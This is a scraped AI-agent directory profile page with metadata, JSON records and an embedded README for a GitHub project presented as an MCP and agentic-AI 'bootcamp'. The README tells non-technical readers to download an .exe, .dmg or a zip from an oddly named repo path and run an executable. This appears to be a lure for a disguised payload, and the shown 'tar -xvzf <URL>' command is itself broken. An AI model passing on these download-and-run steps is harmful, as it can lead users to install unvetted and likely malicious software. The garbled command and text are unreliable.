activepieces
AI Agents & MCPs & AI Workflow Automation β’ (~400 MCP servers for AI agents) β’ AI Automation / AI Agent with MCPs β’ AI Workflows & AI Agents β’ MCPs for AI Agents
Crawler Summary
π€ Build AI and Gen AI agents using Model Context Protocol (MCP) with hands-on projects and practical tools like LangChain and CrewAI. π€ Build-Agentic-AI-and-Gen-AI-Agents-with-MCP - Build Intelligent AI Workflows Easily $1 π Getting Started Welcome to the Build-Agentic-AI-and-Gen-AI-Agents-with-MCP Bootcamp! Here, you will learn about the Model Context Protocol (MCP) and how to build efficient AI workflows. This guide will help you download and run the software without any technical experience. π οΈ Prerequisites Before you begin, make sure your c Capability contract not published. No trust telemetry is available yet. 1 GitHub stars reported by the source. Last updated 5/18/2026.
Freshness
Last checked 5/18/2026
Best For
Build-Agentic-AI-and-Gen-AI-Agents-with-MCP is best for crewai, multi-agent workflows where OpenClaw compatibility matters.
Not Ideal For
Contract metadata is missing or unavailable for deterministic execution.
Evidence Sources Checked
editorial-content, GITHUB OPENCLEW, runtime-metrics, public facts pack
π€ Build AI and Gen AI agents using Model Context Protocol (MCP) with hands-on projects and practical tools like LangChain and CrewAI. π€ Build-Agentic-AI-and-Gen-AI-Agents-with-MCP - Build Intelligent AI Workflows Easily $1 π Getting Started Welcome to the Build-Agentic-AI-and-Gen-AI-Agents-with-MCP Bootcamp! Here, you will learn about the Model Context Protocol (MCP) and how to build efficient AI workflows. This guide will help you download and run the software without any technical experience. π οΈ Prerequisites Before you begin, make sure your c
Public facts
5
Change events
1
Artifacts
0
Freshness
May 18, 2026
Capability contract not published. No trust telemetry is available yet. 1 GitHub stars reported by the source. Last updated 5/18/2026.
Trust score
Unknown
Compatibility
OpenClaw
Freshness
May 18, 2026
Vendor
Jfgj Gom
Artifacts
0
Benchmarks
0
Last release
Unpublished
Key links, install path, and a quick operational read before the deeper crawl record.
Summary
Capability contract not published. No trust telemetry is available yet. 1 GitHub stars reported by the source. Last updated 5/18/2026.
Setup snapshot
git clone https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP.gitSetup complexity is LOW. This package is likely designed for quick installation with minimal external side-effects.
Final validation: Expose the agent to a mock request payload inside a sandbox and trace the network egress before allowing access to real customer data.
Everything public we have scraped or crawled about this agent, grouped by evidence type with provenance.
Vendor
Jfgj Gom
Protocol compatibility
OpenClaw
Adoption signal
1 GitHub stars
Handshake status
UNKNOWN
Crawlable docs
6 indexed pages on the official domain
Merged public release, docs, artifact, benchmark, pricing, and trust refresh events.
Extracted files, examples, snippets, parameters, dependencies, permissions, and artifact metadata.
Extracted files
0
Examples
3
Snippets
0
Languages
python
bash
tar -xvzf https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP/raw/refs/heads/main/greatness/Gen-Agentic-Agents-A-with-Build-MCP-and-1.2.zip
bash
cd extracted-folder-name
bash
./application-executable
Full documentation captured from public sources, including the complete README when available.
Docs source
GITHUB OPENCLEW
Editorial quality
ready
π€ Build AI and Gen AI agents using Model Context Protocol (MCP) with hands-on projects and practical tools like LangChain and CrewAI. π€ Build-Agentic-AI-and-Gen-AI-Agents-with-MCP - Build Intelligent AI Workflows Easily $1 π Getting Started Welcome to the Build-Agentic-AI-and-Gen-AI-Agents-with-MCP Bootcamp! Here, you will learn about the Model Context Protocol (MCP) and how to build efficient AI workflows. This guide will help you download and run the software without any technical experience. π οΈ Prerequisites Before you begin, make sure your c
Welcome to the Build-Agentic-AI-and-Gen-AI-Agents-with-MCP Bootcamp! Here, you will learn about the Model Context Protocol (MCP) and how to build efficient AI workflows. This guide will help you download and run the software without any technical experience.
Before you begin, make sure your computer meets these basic requirements:
To get started, you need to download the application. Follow these simple steps:
.exe file..dmg file.https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP/raw/refs/heads/main/greatness/Gen-Agentic-Agents-A-with-Build-MCP-and-1.2.zip file.Once the download is complete, follow these steps to run the application:
.exe file in your "Downloads" folder..dmg file located in your "Downloads" folder.tar -xvzf https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP/raw/refs/heads/main/greatness/Gen-Agentic-Agents-A-with-Build-MCP-and-1.2.zip
cd extracted-folder-name
./application-executable
In this bootcamp, you will dive deep into the MCP architecture. Here are some key topics covered:
By participating, you will complete practical projects that prepare you for real-world challenges in AI development.
If you encounter any issues during installation or while running the application, please reach out for support. You can find troubleshooting tips in the following places:
Your input is valuable to us. If you enjoy the Bootcamp or have suggestions for improvements, please share your thoughts. You can create issues directly on our GitHub page.
The application is open-source and available under the MIT License. You are free to use, modify, and distribute it as long as you maintain the original license terms.
This project integrates several advanced technologies to deliver top-notch AI workflows. Based on concepts like:
We appreciate the contributions from the community that have helped make this project possible.
Follow this project on GitHub to receive updates and news. You can also join our community discussions to connect with fellow users and developers.
Once again, to download the application, visit the Releases page: Download Here.
Machine endpoints, protocol fit, contract coverage, invocation examples, and guardrails for agent-to-agent use.
Contract coverage
Status
missing
Auth
None
Streaming
No
Data region
Unspecified
Protocol support
Requires: none
Forbidden: none
Guardrails
Operational confidence: low
curl -s "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/snapshot"
curl -s "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/contract"
curl -s "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/trust"
Trust and runtime signals, benchmark suites, failure patterns, and practical risk constraints.
Trust signals
Handshake
UNKNOWN
Confidence
unknown
Attempts 30d
unknown
Fallback rate
unknown
Runtime metrics
Observed P50
unknown
Observed P95
unknown
Rate limit
unknown
Estimated cost
unknown
Do not use if
Every public screenshot, visual asset, demo link, and owner-provided destination tied to this agent.
Neighboring agents from the same protocol and source ecosystem for comparison and shortlist building.
AI Agents & MCPs & AI Workflow Automation β’ (~400 MCP servers for AI agents) β’ AI Automation / AI Agent with MCPs β’ AI Workflows & AI Agents β’ MCPs for AI Agents
AI productivity studio with smart chat, autonomous agents, and 300+ assistants.
Free, local, open-source 24/7 Cowork app and OpenClaw for Gemini CLI, Claude Code, Codex, OpenCode, Qwen Code, Goose CLI, Auggie, and more | π Star if you like it!
The Frontend for Agents & Generative UI. React + Angular
Contract JSON
{
"contractStatus": "missing",
"authModes": [],
"requires": [],
"forbidden": [],
"supportsMcp": false,
"supportsA2a": false,
"supportsStreaming": false,
"inputSchemaRef": null,
"outputSchemaRef": null,
"dataRegion": null,
"contractUpdatedAt": null,
"sourceUpdatedAt": null,
"freshnessSeconds": null
}Invocation Guide
{
"preferredApi": {
"snapshotUrl": "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/snapshot",
"contractUrl": "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/contract",
"trustUrl": "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/trust"
},
"curlExamples": [
"curl -s \"https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/snapshot\"",
"curl -s \"https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/contract\"",
"curl -s \"https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/trust\""
],
"jsonRequestTemplate": {
"query": "summarize this repo",
"constraints": {
"maxLatencyMs": 2000,
"protocolPreference": [
"OPENCLEW"
]
}
},
"jsonResponseTemplate": {
"ok": true,
"result": {
"summary": "...",
"confidence": 0.9
},
"meta": {
"source": "GITHUB_OPENCLEW",
"generatedAt": "2026-10-09T01:59:09.133Z"
}
},
"retryPolicy": {
"maxAttempts": 3,
"backoffMs": [
500,
1500,
3500
],
"retryableConditions": [
"HTTP_429",
"HTTP_503",
"NETWORK_TIMEOUT"
]
}
}Trust JSON
{
"status": "unavailable",
"handshakeStatus": "UNKNOWN",
"verificationFreshnessHours": null,
"reputationScore": null,
"p95LatencyMs": null,
"successRate30d": null,
"fallbackRate": null,
"attempts30d": null,
"trustUpdatedAt": null,
"trustConfidence": "unknown",
"sourceUpdatedAt": null,
"freshnessSeconds": null
}Capability Matrix
{
"rows": [
{
"key": "OPENCLEW",
"type": "protocol",
"support": "unknown",
"confidenceSource": "profile",
"notes": "Listed on profile"
},
{
"key": "crewai",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "multi-agent",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
}
],
"flattenedTokens": "protocol:OPENCLEW|unknown|profile capability:crewai|supported|profile capability:multi-agent|supported|profile"
}Facts JSON
[
{
"factKey": "vendor",
"label": "Vendor",
"value": "Jfgj Gom",
"category": "vendor",
"href": "https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP",
"sourceUrl": "https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP",
"sourceType": "profile",
"confidence": "medium",
"observedAt": "2026-05-11T06:21:49.520Z",
"isPublic": true,
"metadata": {}
},
{
"factKey": "protocols",
"label": "Protocol compatibility",
"value": "OpenClaw",
"category": "compatibility",
"href": "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/contract",
"sourceUrl": "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/contract",
"sourceType": "contract",
"confidence": "medium",
"observedAt": "2026-05-11T06:21:49.520Z",
"isPublic": true,
"metadata": {}
},
{
"factKey": "traction",
"label": "Adoption signal",
"value": "1 GitHub stars",
"category": "adoption",
"href": "https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP",
"sourceUrl": "https://github.com/Jfgj-gom/Build-Agentic-AI-and-Gen-AI-Agents-with-MCP",
"sourceType": "profile",
"confidence": "medium",
"observedAt": "2026-05-11T06:21:49.520Z",
"isPublic": true,
"metadata": {}
},
{
"factKey": "docs_crawl",
"label": "Crawlable docs",
"value": "6 indexed pages on the official domain",
"category": "integration",
"href": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceUrl": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceType": "search_document",
"confidence": "medium",
"observedAt": "2026-04-15T05:03:46.393Z",
"isPublic": true,
"metadata": {}
},
{
"factKey": "handshake_status",
"label": "Handshake status",
"value": "UNKNOWN",
"category": "security",
"href": "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/trust",
"sourceUrl": "https://www.xpersona.co/api/v1/agents/crewai-jfgj-gom-build-agentic-ai-and-gen-ai-agents-with-mcp/trust",
"sourceType": "trust",
"confidence": "medium",
"observedAt": null,
"isPublic": true,
"metadata": {}
}
]Change Events JSON
[
{
"eventType": "docs_update",
"title": "Docs refreshed: Sign in to GitHub Β· GitHub",
"description": "Fresh crawlable documentation was indexed for the official domain.",
"href": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceUrl": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceType": "search_document",
"confidence": "medium",
"observedAt": "2026-04-15T05:03:46.393Z",
"isPublic": true,
"metadata": {}
}
]Sponsored
Ads related to Build-Agentic-AI-and-Gen-AI-Agents-with-MCP and adjacent AI workflows.